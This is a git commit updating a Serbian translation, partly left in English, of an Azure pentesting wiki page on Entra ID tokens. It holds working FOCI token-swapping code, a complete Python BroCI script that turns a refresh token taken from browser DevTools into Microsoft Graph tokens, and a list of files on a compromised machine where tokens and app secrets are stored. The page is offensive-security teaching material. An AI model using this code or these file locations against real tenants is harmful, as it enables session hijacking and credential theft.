Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-03-01 20:18:01 +00:00
parent 117024718b
commit 89c0d724d2
3 changed files with 662 additions and 150 deletions

View File

@@ -1,10 +1,10 @@
# Az - Tokeni & Javne aplikacije
# Az - Tokeni i javne aplikacije
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne informacije
Entra ID je Microsoftova platforma za upravljanje identitetima i pristupom (IAM) zasnovana u oblaku, koja služi kao osnovni sistem autentikacije i autorizacije za servise poput Microsoft 365 i Azure Resource Manager. Azure AD implementira OAuth 2.0 autorizacioni okvir i OpenID Connect (OIDC) protokol autentikacije za upravljanje pristupom resursima.
Entra ID je Microsoftova cloud platforma za upravljanje identitetima i pristupom (IAM), koja služi kao osnovni sistem za autentifikaciju i autorizaciju za servise poput Microsoft 365 i Azure Resource Manager. Azure AD implementira OAuth 2.0 authorization framework i OpenID Connect (OIDC) protokol za autentifikaciju radi upravljanja pristupom resursima.
### OAuth
@@ -13,53 +13,53 @@ Entra ID je Microsoftova platforma za upravljanje identitetima i pristupom (IAM)
1. **Resource Server (RS):** Štiti resurse koje poseduje vlasnik resursa.
2. **Resource Owner (RO):** Obično krajnji korisnik koji poseduje zaštićene resurse.
3. **Client Application (CA):** Aplikacija koja traži pristup resursima u ime vlasnika resursa.
4. **Authorization Server (AS):** Izdaje access tokene klijentskim aplikacijama nakon što ih autentifikuje i autorizuje.
4. **Authorization Server (AS):** Izdaje access tokens klijentskim aplikacijama nakon njihove autentifikacije i autorizacije.
**Scopes i pristanak:**
- **Scopes:** Granularne dozvole definisane na resource server-u koje specificiraju nivoe pristupa.
- **Consent:** Proces kojim vlasnik resursa daje klijentskoj aplikaciji dozvolu da pristupi resursima sa specifičnim scope-ovima.
- **Scopes:** Granularne dozvole koje definiše resource server i koje preciziraju nivoe pristupa.
- **Consent:** Proces kojim resource owner daje dozvolu client aplikaciji da pristupi resursima sa određenim scopes.
**Integracija Microsoft 365:**
**Integracija sa Microsoft 365:**
- Microsoft 365 koristi Azure AD za IAM i sastoji se od više "first-party" OAuth aplikacija.
- Ove aplikacije su duboko integrisane i često imaju međuzavisne odnose usluga.
- Ove aplikacije su duboko integrisane i često imaju međuzavisne servisne veze.
- Da bi pojednostavio korisničko iskustvo i održao funkcionalnost, Microsoft dodeljuje "implied consent" ili "pre-consent" ovim first-party aplikacijama.
- **Implied Consent:** Određene aplikacije su automatski **dodeljene pristup određenim scope-ovima bez eksplicitnog odobrenja korisnika ili administratora.**
- Ovi unapred odobreni scope-ovi su obično skriveni i od korisnika i od administratora, što ih čini manje vidljivim u standardnim upravljačkim interfejsima.
- **Implied Consent:** Neke aplikacije su automatski **dobijaju pristup određenim scope-ovima bez izričitog odobrenja korisnika ili administratora**.
- Ovi pre-consented scopes su obično skriveni i od korisnika i od administratora, što ih čini manje vidljivim u standardnim upravljačkim interfejsima.
**Tipovi klijentskih aplikacija:**
1. **Confidential Clients:**
- Imaju sopstvene kredencijale (npr. lozinke ili sertifikate).
- Mogu se **bezbedno autentifikovati** kod authorization server-a.
- Mogu **sigurno da se autentifikuju** prema authorization server-u.
2. **Public Clients:**
- Nemaju jedinstvene kredencijale.
- Ne mogu se bezbedno autentifikovati kod authorization server-a.
- **Bezbednosna implikacija:** Napadač može da se predstavlja kao public client application prilikom zahteva za tokene, jer authorization server nema mehanizam da proveri legitimnost aplikacije.
- Ne mogu se sigurno autentifikovati prema authorization server-u.
- **Sigurnosna implikacija:** Napadač može da se lažno predstavi kao public client aplikacija prilikom zahteva za tokene, jer authorization server nema mehanizam za proveru legitimnosti aplikacije.
## Autentifikacioni tokeni
Postoje **tri tipa tokena** koji se koriste u OIDC:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klijent prezentuje ovaj token resource server-u da bi **pristupio resursima**. Može se koristiti samo za specifičnu kombinaciju korisnika, klijenta i resursa i **ne može biti opozvan** dok ne istekne — podrazumevano 1 sat.
- **ID Tokens**: Klijent prima ovaj **token od authorization server-a**. Sadrži osnovne informacije o korisniku. **Vezan** je za specifičnu kombinaciju korisnika i klijenta.
- **Refresh Tokens**: Dodeljuju se klijentu zajedno sa access token-om. Koriste se za **dobijanje novih access i ID tokena**. Vezani su za specifičnu kombinaciju korisnika i klijenta i mogu se opozvati. Podrazumevano istekuju nakon **90 dana** za neaktivne refresh tokene i **nemaju isteka za aktivne tokene** (jer je iz refresh tokena moguće dobiti nove refresh tokene).
- Refresh token bi trebao biti vezan za **`aud`**, za neke **scopes**, i za **tenant** i trebao bi moći da generiše access tokene samo za taj aud, te scope-ove (i ništa više) i tenant. Međutim, to nije slučaj sa **FOCI applications tokens**.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klijent predstavlja ovaj token resource server-u da bi **pristupio resursima**. Može se koristiti samo za specifičnu kombinaciju korisnika, klienta i resursa i **ne može biti opozvan** dok ne istekne - što je po defaultu 1 sat.
- **ID Tokens**: Klijent prima ovaj **token od authorization server-a**. Sadrži osnovne informacije o korisniku. On je **vezan za specifičnu kombinaciju korisnika i klijenta**.
- **Refresh Tokens**: Dodeljuje se klijentu zajedno sa access token-om. Koristi se za **dobijanje novih access i ID tokena**. Vezan je za specifičnu kombinaciju korisnika i klijenta i može biti opozvan. Podrazumevano isteknuće je **90 dana** za neaktivne refresh tokene i **nema isteka za aktivne tokene** (iz refresh token-a je moguće dobiti nove refresh tokene).
- Refresh token bi trebalo da bude vezan za **`aud`**, za određene **scopes**, i za **tenant**, i trebao bi da može generisati access tokene samo za taj aud, scopes (i ništa više) i tenant. Međutim, to nije slučaj sa **FOCI applications tokens**.
- Refresh token je enkriptovan i samo Microsoft može da ga dekriptuje.
- Dobijanje novog refresh tokena ne opoziva prethodni refresh token.
- Dobijanje novog refresh token-a ne opoziva prethodni refresh token.
> [!WARNING]
> Informacije za **conditional access** su **smeštene** unutar **JWT**. Dakle, ako zatražite **token sa dozvoljene IP adrese**, ta **IP** će biti **smeštena** u token i potom možete koristiti taj token sa **ne-dozvoljene IP adrese da pristupite resursima**.
> Informacija o **conditional access** je **smeštena** unutar **JWT**. Dakle, ako zatražite **token sa dozvoljene IP adrese**, ta **IP** će biti **smeštena** u token i onda možete koristiti taj token sa **ne-dozvoljene IP adrese da pristupite resursima**.
### Access Tokens "aud"
Vrednost navedena u polju "aud" je **resource server** (aplikacija) koja se koristi za prijavu.
Polje navedeno u "aud" polju predstavlja **resource server** (aplikaciju) koja se koristi za prijavu.
Komanda `az account get-access-token --resource-type [...]` podržava sledeće tipove i svaki od njih će dodati specifičan "aud" u rezultujući access token:
Komanda `az account get-access-token --resource-type [...]` podržava sledeće tipove i svaki od njih će dodati specifičan "aud" u dobijeni access token:
> [!CAUTION]
> Imajte na umu da su sledeći API-ji samo oni podržani od strane `az account get-access-token`, ali ih ima još.
> Imajte na umu da su sledeće samo API-ji koje podržava `az account get-access-token`, ali ima ih još.
<details>
@@ -68,33 +68,33 @@ Komanda `az account get-access-token --resource-type [...]` podržava sledeće t
- **aad-graph (Azure Active Directory Graph API)**: Koristi se za pristup legacy Azure AD Graph API-ju (deprecated), koji omogućava aplikacijama da čitaju i pišu podatke direktorijuma u Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Koristi se za upravljanje Azure resursima preko Azure Resource Manager API-ja. To uključuje operacije poput kreiranja, ažuriranja i brisanja resursa kao što su virtuelne mašine, storage nalozi i slično.
* **arm (Azure Resource Manager)**: Koristi se za upravljanje Azure resursima putem Azure Resource Manager API-ja. To uključuje operacije kao što su kreiranje, ažuriranje i brisanje resursa poput virtuelnih mašina, storage naloga i drugih.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: Koristi se za pristup Azure Batch-u, servisu koji omogućava efikasno izvođenje velikih paralelnih i high-performance computing aplikacija u oblaku.
- **batch (Azure Batch Services)**: Koristi se za pristup Azure Batch-u, servisu koji omogućava efikasno pokretanje aplikacija za paralelne i visokoperformantne računarske zadatke u cloudu.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Koristi se za interakciju sa Azure Data Lake Storage Gen1, koji je skalabilan servis za skladištenje podataka i analitiku.
* **data-lake (Azure Data Lake Storage)**: Koristi se za interakciju sa Azure Data Lake Storage Gen1, skalabilnim servisom za skladištenje podataka i analitiku.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Koristi se za pristup Azure Media Services, koji obezbeđuje cloud-based servise za procesiranje i isporuku medija za video i audio sadržaje.
- **media (Azure Media Services)**: Koristi se za pristup Azure Media Services, koji pruža cloud-bazirane servise za obradu i isporuku video i audio sadržaja.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Koristi se za pristup Microsoft Graph API-ju, jedinstvenom endpointu za podatke Microsoft 365 servisa. Omogućava pristup podacima i uvidima iz servisa kao što su Azure AD, Office 365, Enterprise Mobility i Security servisi.
* **ms-graph (Microsoft Graph API)**: Koristi se za pristup Microsoft Graph API-ju, jedinstvenom endpointu za podatke iz Microsoft 365 servisa. Omogućava pristup podacima i uvidima iz servisa kao što su Azure AD, Office 365, Enterprise Mobility i Security servisi.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Koristi se za pristup Azure Database servisima za open-source relacione baze podataka kao što su MySQL, PostgreSQL i MariaDB.
- **oss-rdbms (Azure Open Source Relational Databases)**: Koristi se za pristup Azure Database servisima za open-source relacioni DB engine-e kao što su MySQL, PostgreSQL i MariaDB.
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
Opseg (scope) access tokena se čuva u ključu scp unutar JWT access tokena. Ti scope-ovi definišu šta access token ima pravo da radi.
Opseg (scope) access token-a se čuva u ključu scp unutar JWT access tokena. Ovi scopes definišu čemu access token ima pristup.
Ako je JWT ovlašćen da kontaktira određeni API ali **nema scope** za izvršenje tražene akcije, **neće moći da izvrši tu akciju** sa tim JWT-om.
Ako je JWT dozvoljen da kontaktira određeni API ali **nema scope** za izvršenje tražene akcije, **neće moći da izvrši akciju** sa tim JWT-om.
### Primer dobijanja refresh i access tokena
### Primer: dobijanje refresh i access tokena
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -144,31 +144,32 @@ scopes=["https://graph.microsoft.com/.default"],
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Ostala polja access token-a
### Ostala polja access tokena
- **appid**: ID aplikacije koji je korišćen za generisanje tokena
- **appidacr**: Application Authentication Context Class Reference ukazuje kako je klijent autentifikovan; za public client vrednost je 0, a ako se koristi client secret vrednost je 1
- **acr**: Authentication Context Class Reference claim je "0" kada autentifikacija krajnjeg korisnika nije ispunila zahteve ISO/IEC 29115.
- **amr**: Authentication method pokazuje kako je token autentifikovan. Vrednost “pwd” označava da je korišćena lozinka.
- **groups**: Ukazuje na grupe čiji je principal član.
- **iss**: Identifikuje security token service (STS) koji je generisao token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: Objektni ID principala
- **appidacr**: The Application Authentication Context Class Reference označava kako je client autentifikovan; za public client vrednost je 0, a ako je korišćen client secret vrednost je 1
- **acr**: The Authentication Context Class Reference claim je "0" kada autentifikacija krajnjeg korisnika nije ispunila zahteve ISO/IEC 29115.
- **amr**: Metod autentifikacije pokazuje kako je token autentifikovan. Vrednost “pwd” označava da je korišćena lozinka.
- **groups**: Pokazuje grupe čiji je principal član.
- **iss**: Issuer identifikuje security token service (STS) koji je generisao token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: Object ID principala
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at (kad je izdat), Not before (ne može se koristiti pre tog vremena, obično ista vrednost kao iat), Expiration time.
- **iat, nbf, exp**: Issued at (vreme izdavanja), Not before (ne može se koristiti pre ovog vremena, obično ista vrednost kao iat), Expiration time (vreme isteka).
## FOCI Tokens Privilege Escalation
Ranije je pomenuto da refresh tokens treba biti vezan za **scopes** sa kojima je generisan, za **application** i **tenant** kome je generisan. Ako je bilo koja od ovih granica prekršena, moguće je eskalirati privilegije jer će biti moguće generisati access tokens za druge resurse i tenant-e kojima korisnik ima pristup i sa više scopes nego što je prvobitno bilo predviđeno.
Ranije je pomenuto da refresh tokens treba da budu vezani za **scopes** sa kojima su generisani, za **application** i **tenant** za koje su generisani. Ako je bilo koja od ovih granica prekršena, moguće je eskalirati privilegije jer će biti moguće generisati access tokens za druge resurse i tenante kojima korisnik ima pristup i sa više scopes nego što je prvobitno bilo predviđeno.
Štaviše, **ovo je moguće sa svim refresh tokens** u [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) zato što, kako [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) navode: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Takođe, imajte na umu da su FOCI applications public applications, pa **no secret is needed** da bi se autentifikovalo prema serveru.
Takođe, imajte na umu da su FOCI applications public applications, pa **nije potreban secret** za autentifikaciju prema serveru.
Poznati FOCI klijenti prijavljeni u [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) mogu se [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
### Zahtev za drugi scope
### Get different scope
U nastavku prethodnog primera koda, u ovom kodu se zahteva novi token za drugačiji scope:
Following with the previous example code, in this code it's requested a new token for a different scope:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -185,7 +186,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Dobij drugog klijenta i scope-ove
### Dohvatite drugačiji client i scope-ove
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
@@ -201,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## Where to find tokens
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
Sa stanovišta napadača, korisno je znati gde je moguće pronaći access i refresh tokens, na primer kada je PC žrtve kompromitovan:
A BroCI refresh token je obrazac posredovane razmene tokena gde se postojeći refresh token koristi sa dodatnim broker parametrima da bi se zatražili tokeni kao druga pouzdana first-party aplikacija.
- Unutar **`<HOME>/.Azure`**
- **`azureProfile.json`** sadrži informacije o korisnicima koji su se ranije prijavljivali
- **`clouds.config`** sadrži informacije o pretplatama
Ovi refresh tokeni moraju biti izdate u tom broker kontekstu (a regular refresh token obično ne može da se koristi kao BroCI refresh token).
### Cilj i svrha
Cilj BroCI-ja je da ponovo iskoristi važeću korisničku sesiju iz lanca aplikacija koje podržavaju broker i zatraži tokene za drugi par pouzdanih aplikacija/resursa. Dakle, omogućava "eskalaciju privilegija" sa originalnog tokena.
Sa napadačke perspektive, ovo je važno zato što:
- Može otključati pre-consented first-party putanje koje nisu dostupne standardnim refresh razmenama.
- Može vratiti access tokene za visokovredne API-je (na primer Microsoft Graph) pod identitetima aplikacija sa širokim delegated permissions.
- Proširuje mogućnosti post-authentication token pivotinga izvan klasičnog FOCI client switching.
Ono što se menja kod NAA/BroCI refresh tokena nije vidljivi format tokena, već **issuance context** i broker-povezani metadata koje Microsoft validira tokom brokerovanih refresh operacija.
NAA/BroCI token razmene **nisu** isto što i regularna OAuth refresh razmena.
- A regular refresh token (na primer dobijen via device code flow) je obično validan za standard `grant_type=refresh_token` operacije.
- A BroCI request uključuje dodatni broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
- Microsoft validira da li je predstavljeni refresh token izdat u odgovarajućem brokerovanom kontekstu.
- Zbog toga, mnogi "normalni" refresh tokeni padaju u BroCI zahtevima sa greškama kao što su `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- Generalno ne možete "convert" normalan refresh token u BroCI-validan u kodu.
- Potreban vam je refresh token koji je već izdat od strane kompatibilnog brokerovanog toka.
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
### Mentalni model
Razmislite o BroCI kao:
user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource
Ako se bilo koji deo tog broker lanca ne poklapa, razmena ne uspeva.
### Gde naći BroCI-validan refresh token
Jedan praktičan način je prikupljanje saobraćaja portala u browseru:
1. Prijavite se na `https://entra.microsoft.com` (ili Azure portal).
2. Open DevTools -> Network.
3. Filtrirajte po:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identifikujte brokerovani token response i kopirajte `refresh_token`.
5. Koristite taj refresh token sa odgovarajućim BroCI parametrima (`brk_client_id`, `redirect_uri`, `origin`) kada tražite tokene za ciljane aplikacije (na primer ADIbizaUX / Microsoft_Azure_PIMCommon scenariji).
### Uobičajene greške
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
<details>
<summary>Python BroCI pomoćnik za refresh (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## Gde pronaći tokens
Sa aspekta napadača veoma je korisno znati gde je moguće pronaći access i refresh tokens, na primer kada je PC žrtve kompromitovan:
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** sadrži informacije o korisnicima koji su bili prijavljeni ranije
- **`clouds.config contains`** informacije o subscriptions
- **`service_principal_entries.json`** sadrži kredencijale aplikacija (tenant id, clients i secret). Samo na Linux & macOS
- **`msal_token_cache.json`** sadrži access tokens i refresh tokens. Samo na Linux & macOS
- **`service_principal_entries.bin`** i `msal_token_cache.bin` se koriste na Windows i šifrovani su sa DPAPI
- **`service_principal_entries.bin`** i msal_token_cache.bin se koriste na Windows-u i šifrovani su sa DPAPI
- **`msal_http_cache.bin`** je keš HTTP zahteva
- Učitaj: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** sadrži informacije o prethodnim prijavama korišćenjem Az PowerShell (ali bez kredencijala)
- Unutar **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** nalazi se nekoliko `.bin` fajlova sa **access tokens**, ID tokens i informacijama o nalogu šifrovanim korisnikovim DPAPI.
- Moguće je pronaći još **access tokens** u `.tbres` fajlovima unutar **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** koji sadrže base64 šifrovan sa DPAPI sa access tokens.
- Na Linux i macOS možete dobiti **access tokens, refresh tokens and id tokens** iz Az PowerShell (ako je korišćen) pokretanjem `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** se nalaze nekoliko `.bin` fajlova sa **access tokens**, ID tokens i podacima o nalogu šifrovanim korisnikovim DPAPI.
- Moguće je pronaći više **access tokens** u `.tbres` fajlovima unutar **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** koji sadrže base64 šifrovano DPAPI sa access tokens.
- Na Linux i macOS možete dobiti **access tokens, refresh tokens i id tokens** iz Az PowerShell (ako je korišćen) pokretanjem `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- Na Windows ovo generiše samo id tokens.
- Moguće je proveriti da li je Az PowerShell korišćen na Linux i macSO proverom da li postoji `$HOME/.local/share/.IdentityService/` (iako su fajlovi unutar prazni i beskorisni)
- Ako je korisnik **ulogovan u Azure preko browsera**, prema ovom [**postu**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) moguće je pokrenuti autentifikacioni flow sa **redirect to localhost**, naterati browser da automatski odobri prijavu i dobiti refresh token. Imajte na umu da postoji samo nekoliko FOCI aplikacija koje dozvoljavaju redirect to localhost (kao što su az cli ili powershell module), tako da te aplikacije moraju biti dozvoljene.
- Druga opcija objašnjena na blogu je da se koristi alat [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) koji može koristiti bilo koju aplikaciju jer će **get the OAuth code to then get a refresh token from the title of the final auth** page koristeći redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
- Moguće je proveriti da li je Az PowerShell bio korišćen na Linux i macOS proverom da li postoji `$HOME/.local/share/.IdentityService/` (iako su sadržani fajlovi prazni i neupotrebljivi)
- Ako je korisnik **ulogovan u Azure preko browser-a**, prema ovom [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) moguće je pokrenuti authentication flow sa **redirect to localhost**, naterati browser da automatski autorizuje prijavu i primiti refresh token. Imajte na umu da postoji samo nekoliko FOCI aplikacija koje dozvoljavaju redirect to localhost (kao az cli ili powershell module), tako da te aplikacije moraju biti dozvoljene.
- Druga opcija objašnjena u blogu je upotreba alata [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) koji može koristiti bilo koju aplikaciju zato što će **dohvatiti OAuth code da bi potom dobio refresh token iz title poslednje auth** stranice koristeći redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## References
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Imajte na umu da **ne dozvoljavaju sve granularne dozvole** ugrađene u uloge u Entra ID **da se koriste u prilagođenim ulogama.**
